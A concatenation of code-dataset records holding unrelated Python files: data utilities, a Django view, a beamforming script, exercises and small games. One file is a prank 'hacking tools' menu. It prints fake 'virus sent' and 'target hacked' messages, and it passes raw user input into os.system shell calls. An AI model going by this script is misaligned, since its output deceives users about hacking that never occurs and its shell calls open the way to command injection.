job['onet_soc_code'][:2])\n except TypeError:\n yield (job, None)\n else:\n for job in job_posting_generator:\n yield (job, )\n\n def sample(self, k):\n \"\"\" Sample method\n\n Args:\n k (int): number of documents to sample\n\n Returns:\n list of sampled documents\n \"\"\"\n it = self._transform_generator(self.job_posting_generator)\n if self.weights:\n return list(reservoir_weighted(it, k, self.weights))\n else:\n return list(reservoir(it, k))\n","sub_path":"skills_ml/job_postings/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"521441012","text":"from django.http import QueryDict, JsonResponse\nfrom django.shortcuts import render, render_to_response, get_object_or_404, redirect\nfrom django.utils import timezone\nfrom django.contrib import auth\nfrom .models import Branch\nfrom .models import Locomotive\nfrom .models import Period\nfrom .forms import LTForm\n\n\ndef chart(request):\n filial = int(request.GET.get('filial', 0))\n locomotive = int(request.GET.get('locomotive', 0))\n period = int(request.GET.get('period', 0))\n\n list_locomotive = Locomotive.objects.all()\n list_period = Period.objects.all()\n\n obj = {}\n\n if locomotive > 0:\n for i in list_locomotive:\n for j in list_period:\n if i.id == locomotive:\n # 111 all data\n if j.year == period and j.locomotive_id == i.id and j.branch_id == filial:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n # 011 one train one year all filials\n elif j.year == period and filial == 0 and j.locomotive_id == i.id:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n # 110 all year one train one filial\n elif j.branch_id == filial and period == 0 and j.locomotive_id == i.id:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n # 010 all years all filials one train\n elif filial == 0 and period == 0 and j.locomotive_id == i.id:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n elif locomotive == 0:\n # 101 one filial one year all train\n if filial > 0 and period > 0:\n for j in list_period:\n if j.year == period:\n for i in list_locomotive:\n if j.locomotive_id == i.id:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n # 000 all years all filials all train\n elif filial == 0 and period == 0:\n for j in list_period:\n for i in list_locomotive:\n if j.locomotive_id == i.id:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n\n # 001 only one year\n elif filial == 0 and period > 0:\n for j in list_period:\n if j.year == period:\n for i in list_locomotive:\n if j.locomotive_id == i.id:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n # 100 one filial all year all train\n elif filial > 0 and period == 0:\n for j in list_period:\n if j.branch_id == filial:\n for i in list_locomotive:\n if j.locomotive_id == i.id:\n if j.year in obj:\n obj[j.year] += i.rate * j.run\n else:\n obj[j.year] = i.rate * j.run\n\n return JsonResponse(obj)\n\n\ndef index(request):\n list_branch = Branch.objects.all()\n list_locomotive = Locomotive.objects.all()\n list_period = Period.objects.all()\n\n\n content = {\n # for form\n 'branches': list_branch,\n 'locomotives': list_locomotive,\n 'periods': list_period,\n\n 'username': auth.get_user(request).username,\n }\n return render(request, 'index.html', content)\n","sub_path":"LT/TEST/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"647962996","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n\"\"\"Contains the standard train/test splits for the cyclegan data.\"\"\"\n\n\"\"\"The size of each dataset. Usually it is the maximum number of images from\neach domain.\"\"\"\nDATASET_TO_SIZES = {\n 'lipstick_data': 630,\n 'lipstick_data_test': 630\n}\n\n\"\"\"The image types of each dataset. Currently only supports .jpg or .png\"\"\"\nDATASET_TO_IMAGETYPE = {\n 'lipstick_data': '.png',\n 'lipstick_data_test': '.png',\n}\n\n\"\"\"The path to the input csv file.\"\"\"\nPATH_TO_CSV = {\n 'lipstick_data': './CycleGAN_TensorFlow/input/train.csv',\n 'lipstick_data_test': './CycleGAN_TensorFlow/input/test.csv',\n}\n\n","sub_path":"cyclegan_datasets.py","file_name":"cyclegan_datasets.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"249249428","text":"from numpy import copy\n\ndef ini_dicts(dictionary, keys):\n # expanding dictionary with given keys\n ## keys should support python looping, i.e., list\n for key in keys:\n dictionary[key] = {}\n return dictionary\n\ndef subtrack_precip_lev(data):\n # discretizing precipitation by thresholds:\n ## [0, 25)\n ## [25, 50)\n ## [50, 60)\n ## [60, 75)\n \n data1 = copy(data)\n data1[data1>=25] = 0.0\n\n data2 = copy(data)\n data2[data2<25] = 0.0\n data2[data2>=50] = 0.0\n \n data3 = copy(data)\n data3[data3<50] = 0.0\n data3[data3>=60] = 0.0\n \n data4 = copy(data)\n data4[data4<60] = 0.0\n data4[data3>=75] = 0.0 \n \n data5 = copy(data)\n data5[data5<75] = 0.0\n \n return data1, data2, data3, data4, data5\n\ndef subtrack_precip_lev_heavy(data, heavy_thres):\n # discretizing precipitation by thresholds:\n\n data1 = copy(data)\n data1[data1<25] = 0.0\n data1[data1>=50] = 0.0\n \n data2 = copy(data)\n data2[data2<50] = 0.0\n data2[data1>=heavy_thres] = 0.0\n \n data3 = copy(data)\n data3[data3>=25] = 0.0\n \n data4 = copy(data)\n data4[data4 int:\n \"\"\"\n Get the value of the index-th node in the linked list. \n If index is invalid return -1\n \n # Time complexity O(n)\n # Space complexity O(1)\n \"\"\"\n \n if index < 0 or index >= self.size:\n return -1\n \n # When LinkedList is empty return -1\n if self.head is None:\n return -1\n \n curr = self.head\n i = 0\n while i< index:\n curr = curr.next\n i+=1\n return curr.val\n \n def addAtHead(self, val: int) -> None:\n \"\"\"\n Add a node of value val before the first element of the LinkedList.\n After the insertion, new node will be the first node of the LinkedList.\n :type val: int\n :return type: void\n \n \"\"\"\n \n node = Node(val)\n node.next = self.head\n self.head = node\n self.size += 1\n # print(\"head\", self.head.val)\n\n # See the whole linked list \n\n # def print(self): \n # curr = self.head\n # if curr is None:\n # print(\"Empty LinkedList!\")\n \n # myll_srt = \"\"\n # while curr:\n # myll_srt += str(curr.val) + \"-->\"\n # curr = curr.next\n # print(myll_srt)\n \n \n def addAtTail(self, val: int) -> None:\n \"\"\"\n append a node of vale val to the last element of the linkedlist.\n :type val: int\n :return type: void\n \n \"\"\"\n \n curr = self.head\n if curr is None:\n # when empty node\n self.head = Node(val)\n else:\n while curr.next: # it is important, hey it is curr.next\n curr = curr.next\n curr.next = Node(val)\n \n self.size += 1\n \n \n \n def addAtIndex(self, index: int, val: int) -> None:\n \"\"\"\n Add a node of val before the index-th node in the linkedlist\n If index equals to the length of linked list, the node will be appended to the end of the linked list.\n If index is greater than the length, the node will not be inserted.\n :type index: int\n :type val: int\n :return type: void\n \n \"\"\"\n \n if index < 0 or index > self.size:\n return\n \n if index == 0:\n self.addAtHead(val)\n else:\n curr = self.head\n \n i = 0\n while i < (index-1):\n curr = curr.next\n i += 1\n node = Node(val)\n node.next = curr.next\n curr.next = node\n self.size += 1\n \n \n def deleteAtIndex(self, index: int) -> None:\n \"\"\"\n Delete the index-th node in the linked list, if index is valid.\n :type index: int\n :return type: void\n \n \"\"\"\n if index < 0 or index >= self.size:\n return\n\n curr = self.head\n\n if index == 0:\n self.head = curr.next\n\n else:\n i = 0\n while i < (index-1):\n curr = curr.next\n i += 1\n curr.next = curr.next.next\n\n self.size -= 1\n \n\n# if __name__==\"__main__\":\n# myll = MyLinkedList()\n# myll.addAtHead(1)\n# myll.addAtHead(2)\n# myll.addAtHead(5)\n# print(myll.get(0))\n# myll.print()\n# # 5-->2-->1-->\n# myll.addAtTail(15)\n# myll.addAtTail(20)\n# myll.print()\n# # 5-->2-->1-->15-->20-->\n# myll.addAtIndex(3,23)\n# myll.print()\n# # 5-->2-->1-->23-->15-->20-->\n# myll.deleteAtIndex(2)\n# myll.print()\n# # 5-->2-->23-->15-->20-->\n \n\n\n# # Your MyLinkedList object will be instantiated and called as such:\n# # obj = MyLinkedList()\n# # param_1 = obj.get(index)\n# # obj.addAtHead(val)\n# # obj.addAtTail(val)\n# # obj.addAtIndex(index,val)\n# # obj.deleteAtIndex(index)","sub_path":"Card Wise Practice/design-linked-list/Introduction to Data Structure Linked List/design-linked-list/design-linked-list.py","file_name":"design-linked-list.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"24934812","text":"import os\nimport json\nimport re\ndef get_trailing_number(s):\n m = re.search(r'\\d+$', s)\n return int(m.group()) if m else None\n\npath = 'outputs/'\nlisting = os.listdir(path)\n\nentity_data = {}\nkey_phrases_data = {}\nkey_phrase_sentiment = {}\nfor infile in listing:\n try:\n print(infile)\n data = json.load(open('outputs/' + infile))\n file_minus_json_exe = infile[:-5]\n print(file_minus_json_exe)\n num = get_trailing_number(file_minus_json_exe)\n sentiment_data = json.load(open('outputs/sentiment' + str(num) + '.json'))\n if \"Entities\" in data:\n for entity in data[\"Entities\"]:\n text = entity[\"Text\"].replace(\"@\",\"\")\n text = text.replace(\"RT \",\"\")\n if text not in entity_data:\n entity_data[text] = 1\n else:\n entity_data[text] = entity_data[text] + 1\n\n if text not in key_phrase_sentiment.keys():\n key_phrase_sentiment[text] = sentiment_data['Sentiment']\n else:\n key_phrase_sentiment[text] += ' ' + sentiment_data['Sentiment']\n\n '''elif \"KeyPhrases\" in data:\n for key_phrase in data[\"KeyPhrases\"]:\n if key_phrase[\"Text\"] not in key_phrases_data:\n key_phrases_data[key_phrase[\"Text\"]] = 1\n else:\n key_phrases_data[entity[\"Text\"]] = key_phrases_data[entity[\"Text\"]] + 1'''\n except:\n print('error')\n\nfilt = {k: v for k, v in entity_data.items() if v > 5}\nprint(json.dumps(filt, sort_keys=True, indent=4))\nprint('-----------')\nprint(json.dumps(key_phrase_sentiment, sort_keys=True, indent=4))\n","sub_path":"explore.py","file_name":"explore.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"508593385","text":"from pylastica.query import Query\nfrom pylastica import Document\nfrom pylastica.aggregation.histogram import Histogram\nfrom tests.base import Base\n\n__author__ = 'Joe Linn'\n\nimport unittest\n\n\nclass HistogramTest(unittest.TestCase, Base):\n def setUp(self):\n super(HistogramTest, self).setUp()\n self._index = self._create_index(\"test_aggregation_histogram\")\n docs = [\n Document(\"1\", {\"price\": 5, \"color\": \"blue\"}),\n Document(\"2\", {\"price\": 8, \"color\": \"blue\"}),\n Document(\"3\", {\"price\": 1, \"color\": \"red\"}),\n Document(\"4\", {\"price\": 30, \"color\": \"green\"}),\n Document(\"5\", {\"price\": 40, \"color\": \"red\"}),\n Document(\"6\", {\"price\": 35, \"color\": \"green\"}),\n Document(\"7\", {\"price\": 42, \"color\": \"red\"}),\n Document(\"8\", {\"price\": 41, \"color\": \"blue\"})\n ]\n self._index.get_doc_type(\"test\").add_documents(docs)\n self._index.refresh()\n\n def tearDown(self):\n super(HistogramTest, self).tearDown()\n self._index.delete()\n\n def test_histogram_aggregation(self):\n agg = Histogram(\"hist\", \"price\", 10)\n agg.set_minimum_document_count(0) # should return empty buckets\n\n query = Query()\n query.add_aggregation(agg)\n results = self._index.search(query).aggregations['hist']['buckets']\n\n self.assertEqual(5, len(results))\n self.assertEqual(30, results[3]['key'])\n self.assertEqual(2, results[3]['doc_count'])\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/aggregation/test_histogram.py","file_name":"test_histogram.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115506535","text":"from match import Match\r\nfrom human import Human\r\nfrom AI import AI\r\n\r\nclass Game:\r\n\r\n\tdef __init__(self):\r\n\t\tself.winner = None\r\n\r\n\t\r\n\r\n\tdef startGame(self):\r\n\t\tplayerNumber = input(\"'one' player or 'two' players?\\n\")\r\n\t\t\r\n\t\t#pull this out\r\n\t\tif playerNumber == \"two\":\r\n\t\t\tplayer1 = Human()\r\n\t\t\tplayer2 = Human()\r\n\t\telif playerNumber == \"one\":\r\n\t\t\tplayer1 = Human()\r\n\t\t\tplayer2 = AI()\r\n\t\t####\r\n\r\n\t\r\n\t\tmatch = Match()\r\n\r\n\r\n\t\twhile match.matchNumber < 3:\r\n\t\t\tmatch.countMatches()\r\n\t\t\tmatch.startMatch(player1, player2)\r\n\r\n\t\t\tif player1.wins >= 2 or match.matchNumber == 3 and player1.wins > player2.wins:\r\n\t\t\t\tself.winner = \"Player 1!\"\r\n\t\t\t\tbreak\r\n\t\t\telif player2.wins >= 2 or match.matchNumber == 3 and player2.wins > player1.wins:\r\n\t\t\t\tself.winner = \"Player 2!\"\r\n\t\t\t\tbreak\r\n\r\n\r\n\tdef endGame(self):\r\n\t\tif self.winner == \"Player 1!\" or self.winner == \"Player 2!\":\r\n\t\t\tprint(\"The winner is\", self.winner)\r\n\t\telse:\r\n\t\t\tprint(\"It's a tie\")\r\n\r\n#\tdef returnPlayas(playerNumber):\r\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"83994651","text":"import pygame\nfrom pygame.sprite import Sprite\n\n\nclass Ship(Sprite):\n def __init__(self,ai_settings,screen):\n '''初始化飞船并设置初始位置'''\n super(Ship, self).__init__()\n self.screen = screen\n\n self.ai_settings = ai_settings\n\n #加载飞船图片并获取其外接矩形\n image = pygame.image.load('images/aircraft2.bmp')\n #缩小图片\n self.image = pygame.transform.scale(image, (80, 60))\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n\n #将每艘新飞船放到屏幕底部中央\n self.rect.centerx = self.screen_rect.centerx\n self.rect.bottom = self.screen_rect.bottom\n\n #在飞船的center属性中存储小数值\n self.center = float(self.rect.centerx)\n\n\n #移动的标志\n self.moving_right = False\n self.moving_left = False\n\n def update(self):\n if self.moving_right and self.rect.right0:\n self.center -= self.ai_settings.ship_speed_factor\n self.rect.centerx = self.center\n\n\n def blitme(self):\n '''在指定位置绘制飞船'''\n self.screen.blit(self.image,self.rect)\n\n def center_ship(self):\n \"\"\"让飞船在屏幕上居中\"\"\"\n self.center = self.screen_rect.centerx","sub_path":"ship.py","file_name":"ship.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"17330325","text":"import sys\n\nfrom distutils.command.sdist \\\n import \\\n sdist as old_sdist\n\nfrom bento.commands.wrapper_utils \\\n import \\\n run_cmd_in_context\nfrom bento.commands.sdist \\\n import \\\n SdistCommand\nfrom bento.commands.context \\\n import \\\n CmdContext\n\nclass sdist(old_sdist):\n def __init__(self, *a, **kw):\n old_sdist.__init__(self, *a, **kw)\n\n def initialize_options(self):\n old_sdist.initialize_options(self)\n\n def finalize_options(self):\n old_sdist.finalize_options(self)\n\n def run(self):\n dist = self.distribution\n\n cmd_argv = [\"--output-dir=%s\" % self.dist_dir]\n run_cmd_in_context(SdistCommand, \"sdist\", cmd_argv, CmdContext,\n dist.run_node, dist.top_node, dist.pkg)\n","sub_path":"bento/distutils/commands/sdist.py","file_name":"sdist.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150893597","text":"import time\nimport subprocess\n\nstart = time.time()\n\nfor i in range(1, 6):\n subprocess.call(\"./python_package_analyze large_package.py output.json; \\\n ./python_package_create output.json venv{}; \\\n ./python_package_run venv{} \\\"python3 large_package.py\\\";\".format(i, i), shell=True)\n\nend = time.time()\n\nprint(\"Average runtime: {:2f} seconds\".format((end - start) / 5))\n","sub_path":"test_large_package.py","file_name":"test_large_package.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"184079454","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport soundfile as sf\nimport copy\nimport math\nimport sys\nimport os\n\nsys.path.append('../')\n\nfrom mic_py.mic_io import read_mic_wav_from_lst, read_mic_wav_from_folder\nfrom mic_py.mic_stft import stft_arr\nfrom mic_py.feats import istft\nfrom mic_py.mic_geometry import get_sensor_positions, get_source_position\nfrom mic_py.mic_steering import propagation_vector_free_field\nfrom mic_py.mic_ds_beamforming import ds_beamforming, ds_align\nfrom mic_py.beamforming import get_power_spectral_density_matrix\nfrom mic_py.beamforming import get_mvdr_vector ,apply_beamforming_vector\n\nfrom mic_py.mic_cov_marix_taper import cov_matrix_tapper_bandwidth\n\nfrom mic_py.mic_zelin import zelin_filter\n\nfrom mic_py_nn.mains.sample_predict import ChimeraPredict, ChimeraPredictFrozen\n\nEXP_AV_COEF = 0.99\nREG_COEF = 0.001\nMVDR_TIME_STEP = 5\nTIME_STEP = 5\n\n\ndef time_to_frame(time, sr, n_fft, overlap):\n hop_size = n_fft // overlap\n return math.floor(time * sr / hop_size)\n\n\nif __name__ == '__main__':\n\n #################################################################\n # 1.0 - _du_hast PROFILE MVDR\n vert_mic_count = 6\n hor_mic_count = 11\n dHor = 0.035\n dVert = 0.05\n max_len_sec = 2 * 60\n n_fft = 512\n\n (angle_hor_log, angle_vert_log) = (12.051, 5.88161)\n\n angle_h = -angle_hor_log\n angle_v = -angle_vert_log\n\n in_wav_path = r'./data/_du_hast/'\n out_wav_path = r'./data/out/'\n\n _noise_start = 8\n _noise_end = 17\n\n _mix_start = 17\n _mix_end = 84\n\n _sp_start = 84\n _sp_end = 102\n #################################################################\n\n #################################################################\n # 1.0 - Read signal\n x_all_arr, sr = read_mic_wav_from_folder(in_wav_path, vert_mic_count, hor_mic_count, max_len_sec = max_len_sec)\n x_mix = x_all_arr[:,(np.int32)(_noise_start*sr):(np.int32)(_mix_end*sr)]\n\n (n_channels, n_samples) = x_all_arr.shape\n\n print (\"Array data read done!\")\n print (\" n_channels = \", n_channels)\n print (\" n_samples = \", n_samples)\n print (\" freq = \", sr)\n\n #################################################################\n # 2 - Do STFT\n stft_all = stft_arr(x_all_arr, fftsize = n_fft)\n (n_bins, n_sensors, n_frames) = stft_all.shape\n\n stft_mix = stft_arr(x_mix, fftsize=n_fft)\n\n print (\"STFT calc done!\")\n print (\" n_bins = \", n_bins)\n print (\" n_sensors = \", n_sensors)\n print (\" n_frames = \", n_frames)\n\n #################################################################\n # 3 - Calc steering vector\n print ('Calc steering vector!')\n print (' (angle_h, angle_v) = ', angle_h, angle_v)\n sensor_positions = get_sensor_positions(hor_mic_count, vert_mic_count, dHor = dHor, dVert = dVert)\n source_position = get_source_position(angle_h, angle_v, radius = 6.0)\n d_arr = propagation_vector_free_field(sensor_positions, source_position, N_fft = n_fft, F_s = sr)\n\n # 4 - DS filter\n result_spec = ds_beamforming(stft_mix, d_arr.T)\n\n # 5 - inverse STFT and save\n sig_out = istft(result_spec.transpose((1, 0)), overlap=2)\n out_ds_path = r'{}/tmp_ds.wav'.format(os.path.dirname(out_wav_path))\n sf.write(out_ds_path, sig_out, sr)\n\n # 6 - get noise mask\n print('Get noise mask form neural net!')\n\n # shape - (time, freq, 2)\n config_path = r'/home/stc/MA_ALG/datasets/test_ma/' \\\n r'chimera_v12/9_chimera.json'\n in_model_path = r'/home/stc/MA_ALG/datasets/test_ma/chimera_v12/checkpoint/'\n\n frozen_model_path = r'/home/stc/MA_ALG/datasets/test_ma/chimera_frozen/model_chimera_v11.pb'\n\n mask = ChimeraPredictFrozen(frozen_model_path).predict_mask(out_ds_path)\n\n # mask = ChimeraPredict(config_path, in_model_path).predict_mask(out_ds_path, os.path.dirname(out_wav_path))\n\n # 7 - Calc psd matrix\n # bin x frames x mask\n mask = np.transpose(mask, (1, 0, 2))\n\n print('Calc psd matrix!')\n print(' mask.shape = {}'.format(mask.shape))\n print(' stft_mix.shape = {}'.format(stft_mix.shape))\n\n # TODO in deep clustering need choice mask\n actual_mask = mask[:, :, 1]\n\n stft_mix_noise = copy.deepcopy(stft_mix)\n # stft_mix_noise = copy.deepcopy(stft_mix[:,:,0:-2])\n\n (n_bins, n_sensors, n_frames) = stft_all.shape\n (n_bins_mix, n_sensors_mix, n_frames_mix) = stft_mix.shape\n\n for i in range(0, n_sensors):\n stft_mix_noise[:, i, 0:-2] *= actual_mask\n\n sig_out = istft(stft_mix_noise[:, 1, :], overlap=2)\n\n sf.write(r\"out/noise.wav\", sig_out, sr)\n\n frame_step = time_to_frame(TIME_STEP, sr, n_fft, 2)\n\n EXP_AV_COEF = 1 - (1 / frame_step)\n\n print('EXP_AV_COEF: {}'.format(EXP_AV_COEF))\n\n # res_spec = ds_beamforming(stft_mix[:, :, :frame_step], d_arr.T)\n res_spec = None\n psd = np.zeros(shape=(257, 66, 66), dtype=np.complex)\n\n taper = np.ones(shape=(257, 66, 66))\n\n mvdr_step = time_to_frame(MVDR_TIME_STEP, sr, n_fft, 2)\n\n for i in range(0, n_frames_mix, mvdr_step):\n\n for j in range(min(mvdr_step, n_frames_mix - i - 1)):\n\n psd_curr = np.zeros((257, 66, 66), dtype=np.complex)\n for k in range(n_bins):\n psd_curr[k] = np.outer(stft_mix_noise[k, :, i + j], stft_mix_noise[k, :, i + j].conj())\n\n psd_curr *= taper\n psd = EXP_AV_COEF * psd + (1 - EXP_AV_COEF) * psd_curr\n\n psd_reg = psd + REG_COEF * np.identity(psd.shape[-1])\n\n w = get_mvdr_vector(d_arr.T, psd_reg)\n\n if i == 0:\n taper, _ = cov_matrix_tapper_bandwidth(stft_mix[:, :, 0:mvdr_step], hor_mic_count,\n vert_mic_count, dHor=dHor,\n dVert=dVert, angle_v=angle_v,\n angle_h=angle_h, sr=sr)\n w = np.zeros((n_bins, n_sensors))\n pp = apply_beamforming_vector(w, stft_mix[:, :, i:i + mvdr_step])\n res_spec = pp\n w = np.zeros((n_bins, n_sensors))\n\n pp = apply_beamforming_vector(w, stft_mix[:, :, i + mvdr_step:i + 2 * mvdr_step])\n\n if res_spec is None:\n res_spec = pp\n else:\n res_spec = np.hstack((res_spec, pp))\n\n print('Result shape: {}'.format(res_spec.shape))\n\n align_stft_arr = ds_align(stft_mix, d_arr.T)\n\n _, H = zelin_filter(stft_arr=align_stft_arr, alfa=0.7, alg_type=0)\n\n res_spec = res_spec * H\n\n # 5 - inverse STFT and save\n sig_out = istft(res_spec.T, overlap=2)\n\n sf.write(r\"out/AD_NN_du_hast.wav\", sig_out, sr)\n\n","sub_path":"ma_py/_main_MVDR_AD_MIX_NN.py","file_name":"_main_MVDR_AD_MIX_NN.py","file_ext":"py","file_size_in_byte":6648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"218276749","text":"#required\nfrom colored import bg, fg\nimport os\nimport time\n\n#color list\ncolor = fg(\"green\")\ncolor2 = fg(\"red\")\ncolor3 = fg(\"cyan\")\ncolor4 = fg(\"yellow\")\ncolor5 = fg(\"blue\")\nrescolor = fg(\"white\")\n\n\n#start making the tools can run\nprint(\"Installing Some Data!\")\ntime.sleep(2)\nos.system(\"pkg install colored\")\ntime.sleep(2)\nprint(\"Data installed!\")\ntime.sleep(3)\nos.system(\"clear\")\nprint(color3 + \"Script By LManChi YT\")\nprint(\"Dont Forget To Subscribe LManChi YT!\")\nprint(\"Choose Below !\")\nprint(rescolor + \"1.Play moon-buggy games\")\nprint(\"2.Fake Hacking\")\nprint(\"3.DDoS(Real)\")\nprint(\"4.Refresh\")\nprint(\"5.Check Your Ping\")\nprint(\"6.Check Web/IP ping\")\nprint(\"7.Credits\")\nprint(\"8.Get Web IP\")\nchoose = input(color3 + \"Choose By Number > \")\n\nif choose == \"1\":\n print(\"Installing The Game Data\")\n print(\"This may take a while\")\n time.sleep(3)\n os.system(\"pkg install moon-buggy\")\n time.sleep(2)\n print(\"Game installed!\")\n time.sleep(2)\n os.system(\"clear\")\n os.system(\"moon-buggy\")\n \nelif choose == \"2\":\n os.system(\"clear\")\n print(color + \"Preparing The Hack Tools\")\n user = input(\"User : \")\n password = input(\"Password : \")\n print(\"Logged in as \" + user)\n time.sleep(2)\n print(\"The Target can be filled with Email,WHATSAPP NUMBER,IG,FACEBOOK,IP\")\n print(\"USE CTRL+C To Stop the Hacking!(ANROID)\")\n print(\"USE CTRL+X To Stop the Hacking(PC)\")\n htarget = input(\"Target : \")\n time.sleep(2)\n print(\"Connecting to \" + htarget)\n time.sleep(2)\n print(\"Connected!\")\n print(\"starting sent virus to \" + htarget)\n time.sleep(3)\n i = 2\n while(i < 10000):\n time.sleep(.200)\n print(color2 + \"[WARNING]\" + color + \"Virus Sent to \" + htarget)\n time.sleep(.200)\n print(color2 + \"[WARNING]\" + color2 + \"Virus Sent to \" + htarget)\n time.sleep(.200)\n print(color2 + \"[WARNING]\" + color3 + \"Virus Sent to \" + htarget)\n time.sleep(.200)\n print(color2 + \"[WARNING]\" + color4 + \"Virus Sent to \" + htarget)\n time.sleep(.200)\n print(color2 + \"[WARNING]\" + color5 + \"Virus Sent to \" + htarget)\n time.sleep(.200)\n print(color2 + \"[WARNING]\" + rescolor + \"Virus Sent to \" + htarget)\n time.sleep(2)\n print(\"Target is now hacked!\")\n time.sleep(2)\n print(\"bye!\")\n time.sleep(2)\n exit()\n \nelif choose == \"3\":\n print(color2 + \"This Script Avaible Soon!\")\n print(rescolor + \"\")\n time.sleep(5)\n os.system(\"python toolsv1.py\")\n\nelif choose == \"4\":\n print(\"Refreshing The Termux App\")\n time.sleep(5)\n os.system(\"clear\")\n os.system(\"python toolsv1.py\")\n \nelif choose == \"5\":\n print(\"Connecting to your connection\")\n time.sleep(5)\n os.system(\"ping 8.8.8.8\")\n \nelif choose == \"6\":\n os.system(\"clear\")\n ipweb = input(\"IP Or Web : \")\n print(\"Processing...\")\n time.sleep(3)\n os.system(\"ping\" + ipweb)\n \nelif choose == \"7\":\n print(color + \"Script Creator : LManChi YT\")\n time.sleep(1)\n print(\"YouTube : LManChi YT\")\n time.sleep(1)\n print(\"Special Thanks To : Fika sm | YouTube : Fika sm :)\")\n time.sleep(1)\n print(\"Thanks For Using This Useless script :)\")\n time.sleep(3)\n os.system(\"clear\")\n time.sleep(3)\n os.system(\"python toolsv1.py\")\n\nelif choose == \"8\":\n os.system(\"clear\")\n webs = input(\"Web : \")\n time.sleep(2)\n print(\"Processing...\")\n time.sleep(3)\n os.system(\"ip link \" + webs)","sub_path":"toolsv1.py","file_name":"toolsv1.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"263909110","text":"a=[1,2,3,4,5,6,5,4,3]\r\na.sort()\r\nprint(a)\r\nn=7\r\nfor i in range(n):\r\n\tprint(a[i])\r\na.append(8)\r\nprint(a)\r\nstart=0\r\nsearch=int(input(\"Enter Search Element\"))\r\nlast=len(a)-1\r\nm=int((start+last)/2)\r\nwhile start<=last:\r\n\tif a[m]==search:\r\n\t\tprint(a[m])\r\n\t\tbreak;\r\n\telif a[m]\n Temperature in Fahrenheit\n convertedTemp: \n Target temperature in Celsius\n\n Returns\n -------\n \n Converted temperature.\n \"\"\"\n convertedTemp = (tempFahrenheit - 32)/1.8 #assign the conversion to convertedTemp variable\n return convertedTemp #return the converted temperature variable\n\n\n#What is 48° Fahrenheit in Celsius? ==> Add your answer here:\nfahrToCelsius(48)\n\n#What about 71° Fahrenheit in Celsius? ==> Add your answer here:\nfahrToCelsius(71)\n\nprint (\"32 degrees Fahrenheit in Celsius is:\", fahrToCelsius(32))\n\n#check what the function does by using help function which returns the docstring comments\nhelp(fahrToCelsius)\n\n#0\ttemperatures below -2 degrees (Celsius)\n#1\ttemperatures from -2 up to +2 degrees (Celsius) [1]\n#2\ttemperatures from +2 up to +15 degrees (Celsius) [2]\n#3\ttemperatures above +15 degrees (Celsius)\n\ndef tempClassifier(tempCelsius): #define the function of the parameter(tempCelsius)\n \"\"\"\n Function for classifying temperature in celsius.\n\n Parameters\n ----------\n tempCelsius: \n Temperature in Celsius\n\n Returns\n -------\n \n Classified temperature.\n \"\"\"\n \n#conditional statements to assign temperatues to different values/classes\n if tempCelsius < -2: return 0\n elif tempCelsius >= -2 and tempCelsius<=2: return 1\n elif tempCelsius >= 2 and tempCelsius<=15: return 2\n else: return 3\n \n#What is class value for 16.5 degrees (Celsius)? ==> Add your answer here:\ntempClassifier(16.5)\n\n#What is the class value for +2 degrees (Celsius)? ==> Add your answer here:\ntempClassifier(2)\ntempClassifier(15)\n","sub_path":"assignment4/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"601821561","text":"from readcsvfile import reader\ndata = reader('data.csv')\nif __name__ == \"__main__\":\n print(\n \"1.Population Mean 2. Median 3. Mode 4. Population Standard Deviation 5. Variance of population proportion 6. \"\n \"Z-Score 7. Standardized score 8. Population Correlation Coefficient 9. Confidence Interval 10. Population \"\n \"Variance 11. P Value 12. Proportion 13. Sample Mean 14. Sample Standard Deviation 15. Variance of sample \"\n \"proportion\")\n c = int(input())\n if c == 1:\n from pmean import pmean\n print((pmean(data)))\n elif c == 2:\n from median import median\n\n print(str(median(data)))\n elif c == 3:\n from mode import mode\n\n print(str(mode(data)))\n elif c == 4:\n from popstddev import popstddev\n\n 